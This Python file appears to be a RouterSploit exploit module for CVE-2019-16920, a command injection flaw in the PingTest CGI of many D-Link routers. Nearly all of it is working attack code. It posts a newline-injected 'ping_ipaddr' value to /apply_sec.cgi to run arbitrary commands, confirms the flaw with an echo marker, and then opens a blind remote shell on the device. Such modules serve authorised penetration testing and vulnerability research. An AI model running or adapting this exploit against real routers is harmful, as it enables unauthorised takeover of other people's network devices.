from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient


class Exploit(HTTPClient):
    __info__ = {
        "name": "D-Link PingTest RCE",
        "description": "Module exploits unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. "
                       "The issue occurs when the attacker sends an arbitrary input to a \"PingTest\" device common gateway interface that could lead to common injection. "
                       "An attacker who successfully triggers the command injection could achieve full system compromise. "
                       "Later, it was independently found that these are also affected: DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.",
        "authors": (
            "FortiGuard Labs",  # vulnerability discovery and metasploit module
            "GH0st3rs",  # routersploit module
        ),
        "references": (
            "https://nvd.nist.gov/vuln/detail/CVE-2019-16920",
            "https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10124",
            "https://www.fortinet.com/blog/threat-research/d-link-routers-found-vulnerable-rce.html",
            "http://kb.cert.org/artifacts/cve-2019-16920.html",
        ),
        "devices": (
            "DAP-1533 < v1.02B",
            "DGL-5500 < v1.13b04",
            "DIR-130 < v1.23b20",
            "DIR-330 < v1.23b18",
            "DIR-615 < v9.04NAb02",
            "DIR-655 < v3.02b05",
            "DIR-825 < v3.02",
            "DIR-835 < v104b02Beta01",
            "DIR-855L < v1.03b01",
            "DIR-866L < v1.03b04",
            "DHP-1565 < v1.01",
            "DIR-652 < v2.00B40",
            "DIR-862 < v1.02",
        ),
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def run(self):
        if self.check():
            print_success("Target is vulnerable")
            print_status("Invoking command loop...")
            print_status("It is blind command injection, response is not available")
            shell(self, architecture="mipsle", method="echo", location="/var/tmp/")
        else:
            print_error("Exploit failed - target seems to be not vulnerable")

    def execute(self, cmd):
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "Cookie": "uid=1234123",
            "Referer": "http://{}:{}/login_pic.asp".format(self.target, self.port),
        }
        data = {
            "html_response_page": "login_pic.asp",
            "action": "ping_test",
            "ping_ipaddr": "127.0.0.1%0a{}".format(cmd)
        }

        response = self.http_request(
            method="POST",
            path="/apply_sec.cgi",
            headers=headers,
            data=data
        )
        if response is None:
            return ""

        return response.text.strip()

    @mute
    def check(self):
        mark = utils.random_text(32)
        cmd = "echo {}".format(mark)

        response = self.execute(cmd)

        if mark in response:
            return True  # target is vulnerable

        return False  # target is not vulnerable
